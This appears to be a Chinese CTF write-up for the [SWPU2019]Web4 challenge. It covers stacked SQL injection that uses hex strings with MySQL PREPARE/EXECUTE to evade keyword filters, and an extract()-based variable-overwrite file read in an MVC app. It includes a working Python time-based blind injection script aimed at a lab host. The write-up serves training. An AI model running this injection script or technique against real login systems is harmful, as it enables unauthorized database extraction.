[SWPU2019]Web4

知识点:16进制+mysql预处理,在PDO环境下的sql进行堆叠注入、mvc框架的简单审计、extract函数变量覆盖

分析

登录没反应,注册功能没有,也没有目录穿越和伪协议读取,那么抓个包吧,可以看到状态码,和一个状态信息,试一下注入,可以看到加了单引号报错,双引号却没有,单引号加分号没错,那么就很明显了,是堆叠注入。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
并且还过滤了一大堆关键词,这边就要用16进制+mysql预处理来进行预处理,预处理我理解就是类似动态调用,那么16进制+mysql预处理是怎么进行堆叠注入的呢?我们借助MySQL来看一下。
在这里插入图片描述
从sql界面中可以看出,我们用预处理来执行16进制后的sql语句是可以的,那么我们就可以进行堆叠注入了。
知识点详细了解处:https://xz.aliyun.com/t/3950

mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)')         |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> set @a = 0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare smtm_test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute smtm_test;
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+

获取源码文件名-exp

exp出处:https://www.anquanke.com/post/id/194640#h3-4

import requests
import json
import time

def main():
    url = 'http://2f40d5e5-47d2-45c6-9f2c-eeafd0786245.node4.buuoj.cn:81/index.php?r=Login/Login'
    payloads = "admin';set @a=0x{0};prepare smtm_test from @a;execute smtm_test-- -"
    flag = ''
    for i in range(27,30):
        payload = 'select if(ascii(substr((select  flag from flag),{0},1))={1},sleep(3),0)'
        for j in range(32,127):
            datas = {"username":payloads.format(str_to_hex(payload.format(i,j))),"password":"123456"}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url=url, data=data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

源码文件:glzjin_wants_a_girl_friend.zip

利用点

flag文件提示我们要通过某些方法访问它。
在这里插入图片描述

fun.php中解释了路由的构成。 例如:Login/Index就是LoginController下的actionIndex函数
在这里插入图片描述
也就是说r=Login/Index访问了Controller文件夹下的文件。
在这里插入图片描述
在BaseController.php中看到了一个extract函数,可以用来变量覆盖,且这是一个mvc框架,那么view文件夹下的就是客户端的,$this->viewPath = BASE_PATH . "/View/{$viewName}.php"; include包含了里面传的一个参数,找找哪边可以利用来传参。
在这里插入图片描述
UserController.php中可以传参给BaseController.php中的$viewName属性,此时已经确定了index.php?r=User/Index,接下来就去view/userIndex.php文件看看
在这里插入图片描述
view/userIndex.php中,有一段把图片转为base64然后输出的代码片段,那么我们可以利用extract函数覆盖掉$img_base64/../flag.php,这样就可以得到flag的base64加密后的值了。
在这里插入图片描述

输入参数:
在这里插入图片描述
获得flag:
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值